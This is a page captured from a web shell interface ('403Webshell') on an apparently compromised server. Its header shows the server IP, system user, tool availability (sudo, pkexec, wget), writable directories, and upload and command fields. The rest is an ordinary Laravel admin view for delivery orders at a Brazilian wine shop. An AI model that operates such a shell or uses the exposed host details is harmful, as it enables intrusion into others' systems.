403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/storage/framework/views/9f4b7c3abe48d58fa9f75dca925e39a2481d3044.php
<?php $__env->startSection('content'); ?>
<div class="content-wrapper">
	<!-- Content Header (Page header) -->
	<section class="content-header">
		<h1>
			<?php echo (isset($pedido_entrega)) ? 'Editar' : 'Criar'; ?>
			<small>Informações Pedido Entrega</small>
		</h1>
		<ol class="breadcrumb">
			<li><a href="<?php echo e(url('/admin')); ?>"><i class="fa fa-dashboard"></i> Dashboard</a></li>
			<li><a href="<?php echo e(url('/admin/pedido-entrega')); ?>">Pedido Entrega</a></li>
			<li class="active"><?php echo (isset($pedido_entrega)) ? 'Editar' : 'Criar'; ?></li>
		</ol>
	</section>
	<section class="content">
		<form id="mainForm" class="form-horizontal" role="form" method="POST" action="<?php echo e(url('/admin/pedido-entrega/save')); ?>" enctype="multipart/form-data">
			<?php echo e(csrf_field()); ?>

			<?php if(isset($pedido_entrega)){ ?>
				<input type="hidden" name="id" value="<?php echo $pedido_entrega->id; ?>"/>
			<?php } ?>
			<div class="row">
				<div class="col-lg-4">
					<div class="box-form">
						<div class="box-header-form">
							<h4>Informações Básicas</h4>
						</div>
						<div class="box-body-form">

							<div class="form-group">
								<div class="col-md-12">
									<div class="ffl-wrapper">
										<label for="nome" class="ffl-label">Cliente *</label>
										<select required <?php echo isset($pedido_entrega) ? 'disabled' : ''; ?> name="id_cliente" data-placeholder="Selecione um cliente" class="select2 form-control">
											<option value=""></option>
											<?php foreach ($cadastros as $cliente): ?>
												<option <?php echo (isset($pedido_entrega) && $pedido_entrega->adega->id_cliente == $cliente->id || isset($id_cliente) && $id_cliente == $cliente->id) ? 'selected' : ''; ?> value="<?php echo $cliente->id; ?>"><?php echo $cliente->nome.' '.$cliente->sobrenome; ?></option>
											<?php endforeach ?>
										</select>
									</div>
								</div>
							</div>

							<?php if(isset($confrarias)): ?>
							<div class="form-group">
								<div class="col-md-12">
									<div class="ffl-wrapper">
										<label for="confraria_id" class="ffl-label">Confraria</label>
										<select name="confraria_id" data-placeholder="Confraria" class="select2 form-control">
											<option value=""></option>
											<?php $__currentLoopData = $confrarias; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $confraria): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
												<option <?php echo (isset($pedido_entrega) && $pedido_entrega->confraria_id == $confraria->id || isset($confraria_id) && $confraria_id == $confraria->id) ? 'selected' : ''; ?> value="<?php echo e($confraria->id); ?>"><?php echo e($confraria->nome); ?></option>
											<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
										</select>
									</div>
								</div>
							</div>
							<?php endif; ?>

							<div class="form-group">
								<div class="col-md-12">
									<div class="ffl-wrapper">
										<label for="nome" class="ffl-label">Data da Solicitação *</label>
										<input required <?php echo isset($pedido_entrega) ? 'disabled' : ''; ?> type="datetime-local" name="data_solicitacao" class="form-control" value="<?php echo (isset($pedido_entrega)) ? str_replace(' ','T',$pedido_entrega->data_solicitacao) : (old('data_solicitacao') ? old('data_solicitacao') : str_replace(' ','T', date('Y-m-d H:i:s'))); ?>">
									</div>
								</div>
							</div>

							<div class="form-group">
								<div class="col-md-12">
									<div class="ffl-wrapper">
										<label for="nome" class="ffl-label">Empresa *</label>
										<select required="required" name="empresa_id" data-placeholder="Selecione uma empresa" class="select2 form-control">
											<?php foreach ($empresas as $empresa): ?>
												<option <?php echo (isset($pedido_entrega) && $pedido_entrega->empresa_id == $empresa->id) ? 'selected' : (isset($empresa_id) && $empresa_id == $empresa_id ? 'selected' : ''); ?> value="<?php echo $empresa->id; ?>"><?php echo $empresa->nome; ?></option>
											<?php endforeach ?>
										</select>
									</div>
								</div>
							</div>

							<div class="form-group" style="margin-bottom: 5px;">
								<div class="col-md-12">
									<div class="ffl-wrapper">
										<label for="unidade_negocio_id" class="ffl-label">Unidade *</label>
										<select id="unidade_negocio_id" required class="form-control select2" name="unidade_negocio_id">
											<?php foreach ($unidades as $option): ?>
												<option <?php echo (isset($pedido_entrega) && $pedido_entrega->unidade_negocio_id == $option->id) ? 'selected' : ''; ?> value="<?php echo $option->id; ?>"><?php echo $option->nome; ?></option>
											<?php endforeach; ?>
										</select>
									</div>
								</div>
							</div>
							
							<div class="form-group" style="margin-top: 0px;">
								<div class="col-md-12">
									<div class="ffl-wrapper">
										<label style="font-weight: 400; color: black">Link de rastreamento: </label>
										<input type="text" name="link_rastreamento" class="form-control" value="<?php echo e(isset($pedido_entrega->link_rastreamento) ? $pedido_entrega->link_rastreamento : ''); ?>">
									</div>
								</div>
							</div>
						</div>
					</div>
					<div class="box-form">
						<div class="box-header-form">
							<h4>Endereço de Entrega</h4>
						</div>
						<?php if(!isset($pedido_entrega)){ ?>
							<div class="box-body-form">
								<div class="form-group">
									<div class="col-md-12">
										<div class="ffl-wrapper">
											<label for="nome" class="ffl-label">Endereço *</label>
											<select required name="id_cadastro_endereco" class="select2 form-control">
												<?php if(isset($enderecos)){ ?>
													<?php foreach ($enderecos as $endereco): ?>
														<option data-frete="<?php echo $endereco->custo_frete; ?>" <?php echo ($endereco->id == $pedido_entrega->id_cadastro_endereco) ? 'selected' : ''; ?> data-rua="<?php echo $endereco->logradouro; ?>" data-cep="<?php echo $endereco->cep; ?>" data-bairro="<?php echo $endereco->bairro; ?>" data-numero="<?php echo $endereco->numero; ?>" data-complemento="<?php echo $endereco->complemento; ?>" data-cidade="<?php echo $endereco->cidade->nome; ?>" data-estado="<?php echo $endereco->estado->nome; ?>" value="<?php echo $endereco->id; ?>"><?php echo $endereco->nome; ?></option>
													<?php endforeach ?>
												<?php } ?>
											</select>
										</div>
									</div>
								</div>

								<div class="form-group">
									<div class="col-md-12">
										<div class="ffl-wrapper">
											<label for="nome" class="ffl-label">Custo Frete: </label>
											<input type="text" class="form-control" name="valor_frete"/>
											
										</div>
									</div>
								</div>

								<div class="form-group">
									<div class="col-md-12">
										<div class="ffl-wrapper">
											<label for="nome" class="ffl-label">CEP: </label>
											<span class="cep"></span>
											
										</div>
									</div>
								</div>
								<div class="form-group">
									<div class="col-md-12">
										<div class="ffl-wrapper">
											<label for="nome" class="ffl-label">Rua: </label>
											<span class="rua"></span>
											
										</div>
									</div>
								</div>
								<div class="form-group">
									<div class="col-md-12">
										<div class="ffl-wrapper">
											<label for="nome" class="ffl-label">Bairro: </label>
											<span class="bairro"></span>
											
										</div>
									</div>
								</div>
								<div class="form-group">
									<div class="col-md-12">
										<div class="ffl-wrapper">
											<label for="nome" class="ffl-label">Número: </label>
											<span class="numero"></span>
											
										</div>
									</div>
								</div>
								<div class="form-group">
									<div class="col-md-12">
										<div class="ffl-wrapper">
											<label for="nome" class="ffl-label">Complemento: </label>
											<span class="complemento"></span>
											
										</div>
									</div>
								</div>
								<div class="form-group">
									<div class="col-md-12">
										<div class="ffl-wrapper">
											<label for="nome" class="ffl-label">Cidade: </label>
											<span class="cidade"></span>
											
										</div>
									</div>
								</div>
								<div class="form-group">
									<div class="col-md-12">
										<div class="ffl-wrapper">
											<label for="nome" class="ffl-label">Estado: </label>
											<span class="estado"></span>
											
										</div>
									</div>
								</div>

							</div>
						
						<?php }else{ ?>
							<div class="box-body-form">
								<?php if($pedido_entrega->endereco){ ?>
									<!-- <div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label">Endereço *</label>
												<input type="text" disabled class="form-control" value="<?php echo $pedido_entrega->endereco->nome; ?>">
											</div>
										</div>
									</div> -->

									<div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label">Endereço *</label>
												<select required name="id_cadastro_endereco" id="id_cadastro_endereco" class="select2 form-control">
													<?php if(isset($enderecos)){ ?>
														<?php foreach ($enderecos as $endereco): ?>
															<option <?php echo ($endereco->id == $pedido_entrega->id_cadastro_endereco) ? 'selected="selected"' : ''; ?> data-frete="<?php echo $endereco->custo_frete; ?>" data-rua="<?php echo $endereco->logradouro; ?>" data-cep="<?php echo $endereco->cep; ?>" data-bairro="<?php echo $endereco->bairro; ?>" data-numero="<?php echo $endereco->numero; ?>" data-complemento="<?php echo $endereco->complemento; ?>" data-cidade="<?php echo $endereco->cidade->nome; ?>" data-estado="<?php echo $endereco->estado->nome; ?>" value="<?php echo $endereco->id; ?>"><?php echo $endereco->nome; ?></option>
														<?php endforeach ?>
													<?php } ?>
												</select>
											</div>
										</div>
									</div>

									<div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label">Custo Frete: </label>
												<span class="frete">
													<?php if($pedido_entrega->retirada_local): ?>
														<?php echo "<strong>RETIRADA NO LOCAL: " . date('d/m/Y', strtotime($pedido_entrega->data_retirada)) . " - " . date('H:i', strtotime($pedido_entrega->data_retirada))."h</strong>";?>
													<?php else: ?>
														<?php echo $pedido_entrega->pedidoVendaFrete ? 'R$ '.number_format($pedido_entrega->pedidoVendaFrete->total,2,',','.') : 'Gratuito'; ?>
													<?php endif; ?>
												</span>
											</div>
										</div>
									</div>

									<?php if(!empty($pedido_entrega->observacoes)): ?>
									<div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label"><strong>Observações:</strong></label>
												<span class="observacoes"><?php echo e($pedido_entrega->observacoes); ?></span>
											</div>
										</div>
									</div>
									<?php endif; ?>

									<div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label">CEP: </label>
												<span class="cep"><?php echo $pedido_entrega->endereco ? $pedido_entrega->endereco->cep : ''; ?></span>
												
											</div>
										</div>
									</div>
									<div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label">Rua: </label>
												<span class="rua"><?php echo $pedido_entrega->endereco ? $pedido_entrega->endereco->logradouro : ''; ?></span>
												
											</div>
										</div>
									</div>
									<div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label">Bairro: </label>
												<span class="bairro"><?php echo $pedido_entrega->endereco ? $pedido_entrega->endereco->bairro : ''; ?></span>
												
											</div>
										</div>
									</div>
									<div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label">Número: </label>
												<span class="numero"><?php echo $pedido_entrega->endereco ? $pedido_entrega->endereco->numero : ''; ?></span>
												
											</div>
										</div>
									</div>
									<div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label">Complemento: </label>
												<span class="complemento"><?php echo $pedido_entrega->endereco ? $pedido_entrega->endereco->complemento : ''; ?></span>
												
											</div>
										</div>
									</div>
									<div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label">Cidade: </label>
												<span class="cidade"><?php echo $pedido_entrega->endereco ? $pedido_entrega->endereco->cidade->nome : ''; ?></span>
												
											</div>
										</div>
									</div>
									<div class="form-group">
										<div class="col-md-12">
											<div class="ffl-wrapper">
												<label for="nome" class="ffl-label">Estado: </label>
												<span class="estado"><?php echo $pedido_entrega->endereco ? $pedido_entrega->endereco->estado->nome : ''; ?></span>
												
											</div>
										</div>
									</div>
								<?php }else{ ?>
									<h5>Não há registro de endereço deste pedido.</h5>
								<?php } ?>
							</div>
						<?php } ?>
					</div>

					<div class="box-form" style="padding-bottom: 10px;">
						<div class="box-header-form">
							<h4>Observações</h4>
						</div>

						<div class="box-body-form">
							<div class="form-group" style="margin: 20px 0px;">
								<div class="col-md-12">
									<div class="ffl-wrapper">
										<label style="font-weight: 400; color: black">Observações internas: </label>
										<input disabled type="text" name="observacao_interna" class="form-control" value="<?php echo e(isset($observacoes_internas) && $observacoes_internas != '' ? $observacoes_internas : ''); ?>">
									</div>
								</div>
							</div>


							<div class="form-group" style="margin-top: 10px !important;">
								<div class="col-md-12">
									<div class="ffl-wrapper">
										<label style="font-weight: 400; color: black">Observações do pedido: </label>
										<input type="text" name="observacoes_pedido" class="form-control" value="<?php echo e(isset($pedido_entrega->observacoes_pedido) && $pedido_entrega->observacoes_pedido != '' ? $pedido_entrega->observacoes_pedido : ''); ?>">
									</div>
								</div>
							</div>

							<button id="salvarObservacaoPedido" style="width: 200px; margin: 0 auto" type="button" class="btn btn-success btn-block">Salvar Observações do pedido</button>
						</div>


						
					</div>
				</div>
				<div class="col-md-8">
					<?php if(!isset($pedido_entrega)){ ?>
					<div id="meios-pagamento">
						<div class="box-form">
							<div class="box-header-form">
								<h4>Meios Pagamento</h4>
							</div>
							<div class="box-body-form">

							</div>
						</div>
					</div>
					<?php } ?>
					<?php if(isset($pedido_entrega)){ ?>
					<div class="box-form">
						<div class="box-header-form">
							<h4>Histórico</h4>
						</div>
						<div class="box-body-form">
							<div class="form-groud">

								<div class="col-md-12">
									<div class="dynamic-list-section">
										
										<div class="row">
											<div class="col-md-4">
												<select name="id_pedido_entrega_status"  id="id_pedido_entrega_status" data-placeholder="Selecione um status" class="form-control select2">
													<option value=""></option>
													<?php foreach ($listaStatusPE as $pedidoEntregaStatus): ?>
														<option value="<?php echo $pedidoEntregaStatus->id; ?>"><?php echo $pedidoEntregaStatus->nome; ?></option>
													<?php endforeach ?>
												</select>
											</div>
											<div class="col-md-4">
												<select name="id_pedido_entrega_rastreamento"  id="id_pedido_entrega_rastreamento" data-placeholder="lista motivos (cancelado/reentrega)" class="form-control">
													<option value=""></option>
													<?php $__currentLoopData = $listaStatusRastreamento; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $pedidoRastreamento): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
														<option value="<?php echo e($pedidoRastreamento->id); ?>"><?php echo e($pedidoRastreamento->descricao); ?></option>
													<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
												</select>
											</div>
											<div class="col-md-4">
												<input type="checkbox" name="notificar_cliente" id="notificar_cliente" value="1" /> Notificar Cliente
											</div>
											<div class="col-md-12" style="text-align: left">
												<label for="comentario" class="control-label col-md-3" style="text-align: left">Comentário</label>
												<textarea name="comentario" id="comentario" class="form-control"></textarea>
											</div>
										</div>
										<div class="row">
											<div class="col-md-4">
												<button type="button" class="btn btn-success btn-block" id="addHistorico">Adicionar</button>
											</div>

										</div>
										
										<div class="row">
											<div class="spacer"></div>
											<div class="col-xs-12">
												<table id="table-historico" class="table table-bordered">
													<thead>
														<tr>
															<th>Data</th>
															<th>Notificar</th>
															<th>Status</th>
															<th>Comentário</th>
															<th>Remover</th>
														</tr>
													</thead>
													<tbody>
														<?php if(isset($listaHistorico) && count($listaHistorico)){ ?>
															<?php foreach ($listaHistorico as $historico): ?>
																<tr id="historico-<?php echo $historico->id; ?>">
																	<input type="hidden" name="historico-edit-id[]" value="<?php echo $historico->id; ?>">
																	
																	<td>
																		<?php echo date('d/m/Y H:i', strtotime($historico->data)); ?>
																	</td>
																	<td>
																		<?php echo ($historico->notificar_cliente==1?'Sim':'Não'); ?>
																	</td>
																	<td>
																		<?php echo $historico->status->nome; ?>
																	</td>
																	<td class="valor_total">
																		<?php echo nl2br($historico->observacao); ?>
																	</td>
																	<td>
																		<button type="button" class="btn btn-danger deleteHistorico"><i class="fa fa-trash"></i></button>
																	</td>
																</tr>
															<?php endforeach ?>
														<?php } ?>
													</tbody>
												</table>
											</div>
										</div>
										<hr>
									</div>
								</div>
								
							</div>
						</div>
					</div>
					<?php } ?>
					<!-- PEDIDO EXISTENTE x ADEGA -->
					<?php if(isset($pedido_entrega) && $pedido_entrega->adega){ ?>
						<div class="box-form">
							<div class="box-header-form">
								<h4>Adega</h4>
							</div>
							<div class="box-body-form">
								<div class="row">
									<div class="col-md-3">
										<label>Quantidade de Pedidos:</label> <span id="adega_quantidade_pedidos"><?php echo $pedido_entrega->adega->quantidade_pedidos ?></span>
									</div>
									<div class="col-md-3">
										<label>Quantidade de Produtos:</label> <span id="adega_quantidade_produtos"><?php echo $pedido_entrega->adega->quantidade_produtos ?></span>
									</div>
									<div class="col-md-3">
										<label>Valor Total:</label> R$ <span id="adega_valor_total"><?php echo number_format($pedido_entrega->adega->valor_total, 2,',','.'); ?></span>
									</div>
									<div class="col-md-3 text-right">
										<?php if(isset($pedido_entrega) && $listaAdega && ($pedido_entrega->adega->quantidade_pedidos != $listaAdega->qtde_pedidos || $pedido_entrega->adega->quantidade_produtos != $listaAdega->qtde_produtos || $pedido_entrega->adega->valor_total != $listaAdega->total_pedidos)): ?>
											<button type="button" class="btn btn-success btn-sm" id="btn-atualizar-adega">Atualizar Adega</button>
										<?php endif;?>
									</div>
									<div class="spacer"></div>
									<div class="col-md-12">

										<label>
											
											Ofertas da Adega:
											
										</label>
										<table class="table table-bordered">
											<thead>
												<tr>
													<th>Nome</th>
													<th class="text-center">Origem</th>
													<th class="text-right">Preço Unitário</th>
													<th class="text-center">Quantidade</th>
													<?php if($pedido_entrega->statusAtual() && $pedido_entrega->statusAtual()->status->id == 1): ?>
													<th class="text-center">Disponibilidade</th>
													<?php endif; ?>
													<th class="text-right">Preço Total</th>
													<?php if($pedido_entrega->statusAtual() && $pedido_entrega->statusAtual()->status->id == 1): ?>
													<th class="text-center">Remover</th>
													<?php endif; ?>
												</tr>
											</thead>
											<tbody>
												<?php foreach ($vinhosAdega as $vinho): ?>
													<tr>
														<td>
															<a href="<?php echo e(url('/admin/produto/edit/' . $vinho->slug)); ?>" target="_blank">
																<?php echo $vinho->nome; ?>
															</a>
														</td>
														<td class="text-center">
															<?php
															if(isset($vinho->oferta)){
																if($vinho->oferta->tipo == 'D'){
																	echo 'Oferta Diária';
																}elseif($vinho->oferta->tipo == 'S'){
																	echo 'Oferta Semanal';
																}elseif($vinho->oferta->tipo == 'E'){
																	echo 'Oferta Exclusiva';
																}elseif($vinho->oferta->tipo == 'M'){
																	echo 'Oferta Mercado';
																}elseif($vinho->oferta->tipo == 'C'){
																	echo 'Oferta Canal <br>';
																	if(isset($vinho->oferta->canal)){
																		echo '<span>' . $vinho->oferta->canal->slug . '</span>';
																	}
																}
															}
															?>
														</td>
														<td class="text-right">
															<?php $valor_adega = (!empty($vinho->quantidade_na_adega) && $vinho->quantidade_na_adega > 0) ? ($vinho->valor_total_produto / $vinho->quantidade_na_adega) : 0; ?>
															R$ <?php echo number_format($valor_adega,2,',','.'); ?>
														</td>
														<td class="text-center">
															<?php echo number_format($vinho->quantidade_na_adega,0,',','.'); ?>
														</td>
														<?php if($pedido_entrega->statusAtual() && $pedido_entrega->statusAtual()->status->id == 1): ?>
														<td class="text-center">
															<div class="circle-icon <?php echo ($vinho->disponibilidade < 0 ? 'red' : 'green'); ?>">
												                <i class="fa fa-<?php echo ($vinho->disponibilidade < 0 ? 'times' : 'check'); ?>"></i>
												            </div>
														</td>
														<?php endif; ?>
														<td class="text-right">
															R$ <?php echo number_format($vinho->valor_total_produto,2,',','.'); ?>
														</td>
														<td class="text-center">
															<?php if($pedido_entrega->statusAtual() && $pedido_entrega->statusAtual()->status->id == 1 && $vinho->disponibilidade < 0): ?>
																<button type="button" class="btn btn-danger deleteProdutoPedido" data-produto-id="<?php echo e($vinho->id); ?>"><i class="fa fa-trash"></i></button>
															<?php endif; ?>
														</td>
													</tr>
												<?php endforeach ?>
											</tbody>
										</table>
									</div>
									
								</div>
							</div>
						</div>
					<?php } ?>
					<!-- PEDIDO NOVO x ADEGA ABERTA -->
					<?php if(!isset($pedido_entrega) && $adega){ ?>
						<div class="box-form">
							<div class="box-header-form">
								<h4>Adega</h4>
							</div>
							<div class="box-body-form">
								<div class="row">
									<?php if(!isset($produtos)) : ?>
									<div class="col-md-3">
										<label>Quantidade de Pedidos:</label> <span id="adega_quantidade_pedidos"><?php echo $adega->quantidade_pedidos ?></span>
									</div>
									<?php endif; ?>
									<div class="col-md-3">
										<label>Quantidade de Produtos:</label> <span id="adega_quantidade_produtos"><?php echo $adega->quantidade_produtos ?></span>
									</div>
									<div class="col-md-3">
										<label>Valor Total:</label> R$ <span id="adega_valor_total"><?php echo number_format($adega->valor_total, 2,',','.'); ?></span>
									</div>
									<div class="col-md-3 text-right">
										
									</div>
									<div class="spacer"></div>
									<div class="col-md-12">

										<label>
											
											Ofertas da Adega:
											
										</label>

										<div class="produtos-parciais">
											<?php 
											$entregaParcial = 0;
											if(isset($produtos)):
												foreach ($vinhosAdega as $vinho):
													if(in_array("{$vinho->id}_{$vinho->id_pedido_venda}", $produtos) || in_array("{$vinho->id_pedido_venda}", $produtos)){
														echo "<input type='hidden' name='produtos_pedido[]' value='{$vinho->id}_{$vinho->id_pedido_venda}'>";
													}
													$entregaParcial = 1;
												endforeach;
											endif;
											?>
											<input type='hidden' name='entrega_parcial' value='<?php echo e($entregaParcial); ?>'>
											<input type='hidden' id='total_adega' name='total_adega' value='<?php echo number_format($adega->valor_total, 0,'',''); ?>'>
										</div>

										<table class="table table-bordered">
											<thead>
												<tr>
													<th>Nome</th>
													<th class="text-center">Origem</th>
													<th class="text-right">Preço Unitário</th>
													<th class="text-center">Quantidade</th>
													<th class="text-center">Disponibilidade</th>
													<th class="text-right">Preço Total</th>
												</tr>
											</thead>
											<tbody>
												<?php foreach ($vinhosAdega as $vinho): ?>
												<?php 	if(isset($produtos) && (!in_array($vinho->id, $produtos)) && !in_array($vinho->id_pedido_venda, $produtos))
															continue;
												?>
													<tr>
														<td>
															<a href="<?php echo e(url('/admin/produto/edit/' . $vinho->slug)); ?>" target="_blank"><?php echo $vinho->nome; ?></a>
														</td>
														<td class="text-center">
															<?php
															if(isset($vinho->oferta)){
																if($vinho->oferta->tipo == 'D'){
																	echo 'Oferta Diária';
																}elseif($vinho->oferta->tipo == 'S'){
																	echo 'Oferta Semanal';
																}elseif($vinho->oferta->tipo == 'E'){
																	echo 'Oferta Exclusiva';
																}elseif($vinho->oferta->tipo == 'M'){
																	echo 'Oferta Mercado';
																}elseif($vinho->oferta->tipo == 'C'){
																	echo 'Oferta Canal <br>';
																	if(isset($vinho->oferta->canal)){
																		echo '<span>' . $vinho->oferta->canal->slug . '</span>';
																	}
																}
															}
															?>
														</td>
														<td class="text-right">
															<?php $valor_adega = (!empty($vinho->quantidade_na_adega) && $vinho->quantidade_na_adega > 0) ? ($vinho->valor_total_produto / $vinho->quantidade_na_adega) : 0; ?>
															R$ <?php echo number_format($valor_adega,2,',','.'); ?>
														</td>
														<td class="text-center">
															<?php echo number_format($vinho->quantidade_na_adega,0,',','.'); ?>
														</td>
														<td class="text-center">
															<div class="circle-icon <?php echo ($vinho->disponibilidade < 0 ? 'red' : 'green'); ?>">
												                <i class="fa fa-<?php echo ($vinho->disponibilidade < 0 ? 'times' : 'check'); ?>"></i>
												            </div>
														</td>
														<td class="text-right">
															R$ <?php echo number_format($vinho->valor_total_produto,2,',','.'); ?>
														</td>
													</tr>
												<?php endforeach ?>
											</tbody>
										</table>
									</div>
									
								</div>
							</div>
						</div>
					<?php } ?>
				</div>
			</div>
		</form>
	</section>
</div>

<div class="fixed-bar">
		
	<div class="item col-md-3 col-md-offset-3">
		<a href="<?php echo url('admin/pedido-entrega'); ?>" class="btn btn-default btn-block">
			<i class="fa fa-btn fa-undo"></i> Voltar
		</a>
	</div>
	<div class="col-md-6"></div>
	<?php //if(!isset($pedido_entrega) && $current_role->hasAccess($current_module->nome_tabela.'.create')){ ?>
		<div class="item col-md-3">
			<button type="submit" class="btn btn-primary btn-block">
				<i class="fa fa-btn fa-pencil-alt"></i> Salvar
			</button>
		</div>
	<?php //} ?>
	
</div>

<script type="text/javascript">


	$(document).ready(function(){

		<?php if(isset($pedido_entrega)): ?>
		$(document).on('change', '[name="id_pedido_entrega_status"]', function(){

			var id_pedido_entrega_status  = $(this).val();

			$.ajax({
				url:'/admin/pedido-entrega/buscar-status',
				type:'POST',
				dataType : 'JSON',
				data:{
					id_pedido_entrega_status: id_pedido_entrega_status,
					id_pedido_entrega : '<?php echo e($pedido_entrega->id); ?>'
				},
				beforeSend:function(){
					// $('.carregando').fadeIn();
				},
				success:function(data){

					// $('.carregando').fadeOut();

					console.log(data);

					if(data.status){

						var pedido_entrega_status = data.pedido_entrega_status;

						//Notificação Cliente
						if(pedido_entrega_status.notificar_cliente){
							$('#notificar_cliente').prop('checked', true);
						}else{
							$('#notificar_cliente').prop('checked', false);
						}

						//Frase Observação
						$('#comentario').val(data.observacao);

					}else{
						$('#notificar_cliente').prop('checked', false);
						$('#comentario').val('');
					}
				}
			});			

		});

		$(document).on('click', '#salvarObservacaoPedido', function(){
			let observacoes_pedido = $('[name="observacoes_pedido"]').val();

			$('.carregando').fadeIn();

			if(observacoes_pedido != ''){
				$.ajax({
					url:'/admin/pedido-entrega/salvar-observacao-pedido',
					type:'POST',
					dataType : 'JSON',
					data:{
						observacoes_pedido: observacoes_pedido,
						pedido_entrega_id : '<?php echo e($pedido_entrega->id); ?>'
					},
					success:function(data){
						console.log(data);
						$('.carregando').fadeOut();

						if(data.status){
							alertUtil.alertSuccess(data.message);
						} else{
							alertUtil.alertError(data.message);
						}
					}
				});
			}
		});
		<?php endif; ?>


		

		$('[name="id_cadastro_endereco"]').change(function(){
			var option = $(this).find('option:selected');
			$('.cep').text(option.data('cep'));
			$('.rua').text(option.data('rua'));
			$('.bairro').text(option.data('bairro'));
			$('.numero').text(option.data('numero'));
			$('.complemento').text(option.data('complemento'));
			$('.cidade').text(option.data('cidade'));
			$('.estado').text(option.data('estado'));
			//$('.frete').text(number_format(option.data('frete'),2,',','.'));
			$('[name="valor_frete"]').val(option.data('frete'));
			$('[name="valor_frete"]').closest('.ffl-wrapper').addClass('ffl-floated');
			if(parseFloat(option.data('frete')) == 0){
				$('#meios-pagamento .box-body-form').html('');
			}
		});

		$('[name="id_cadastro_endereco"]').trigger('change');

		$('[name="id_cliente"]').change(function(){
			var option = $(this).find('option:selected');
			$.ajax({
				url:'/admin/pedido-entrega/buscar_enderecos_adega_aberta_cliente',
				type:'POST',
				data:{
					id_cliente: option.val(),
					confraria_id: '<?php echo (isset($confraria_id) ? $confraria_id : '');?>',
					total_adega : $('#total_adega').val()
				},
				beforeSend:function(){
					$('.carregando').fadeIn();
				},
				success:function(data){
					$('.carregando').fadeOut();
					console.log(data);
					if(data.status){
						$('[name="id_cadastro_endereco"]').html('');
						$.each(data.enderecos,function(key, endereco){
							$('[name="id_cadastro_endereco"]').append('<option data-frete="'+((endereco.custo_frete) ? endereco.custo_frete : 0)+'" data-rua="'+endereco.logradouro+'" data-cep="'+endereco.cep+'" data-bairro="'+endereco.bairro+'" data-numero="'+endereco.numero+'" data-complemento="'+endereco.complemento+'" data-cidade="'+endereco.cidade.nome+'" data-estado="'+endereco.estado.nome+'" value="'+endereco.id+'">'+endereco.nome+'</option>');
						});

						$('#meios-pagamento .box-body-form').html(data.htmlMeiosPagamento);

						$('[name="id_cadastro_endereco"]').trigger('change');
						
					}else{
						alertUtil.alertWarning(data.message);
					}
					
				}
			});
		}); 

		<?php if(!isset($pedido_entrega)) : ?>
		$('[name="id_cliente"]').trigger('change');
		<?php endif; ?>

		$('#addHistorico').click(function(){

			var notificar_cliente = $('input[name="notificar_cliente"]').prop('checked');
			var idStatus = $('select[name="id_pedido_entrega_status"] option:selected').val();
			var comentario = $('textarea[name="comentario"]').val();

			if(idStatus){
				$.ajax({
					url:'/admin/pedido-entrega/save_historico',
					type:'POST',
					data:{
						notificar_cliente: notificar_cliente,
						id_status: idStatus,
						comentario: comentario,
						id_pedido_entrega: $('[name="id"]').val(),
						id_pedido_entrega_rastreamento: $('[name="id_pedido_entrega_rastreamento"]').val()
					},
					beforeSend:function(){
						$('.carregando').fadeIn();
					},
					success:function(data){
						$('.carregando').fadeOut();
						console.log(data);
						if(data.status){
							$('#table-historico tbody').append('<tr id="historico-'+data.historico.id+'"><input type="hidden" name="historico-edit-id[]" value="'+data.historico.id+'"><td>'+data.historico.data+'</td><td>'+((data.historico.notificar_cliente==1)?"Sim":"Não")+'</td><td>'+data.historico.status.nome+'</td><td class="valor_total">'+data.historico.observacao+'</td><td><button type="button" class="btn btn-danger deleteHistorico"><i class="fa fa-trash"></i></button></td></tr>');/*<td><a target="_blank" href="http://lotus.localhost/admin/colaborador/edit/'+data.historico.colaborador.id+'">'+data.historico.colaborador.nome+'</a></td>*/

							alertUtil.alertSuccess(data.message);

							$('#notificar_cliente').prop('checked', false);
							$('#comentario').val('');
							$('#id_pedido_entrega_status').val('');
							$('#id_pedido_entrega_status').trigger('change');

						}else{
							alertUtil.alertWarning(data.message);
						}
						
					}
				});
					
			
			}else{
				alertUtil.alertWarning('Você deve selecionar um status.');
			}
			
		});
		
		$(document).on('click', '.removeHistorico', function(){
			$(this).closest('tr').remove();
		});

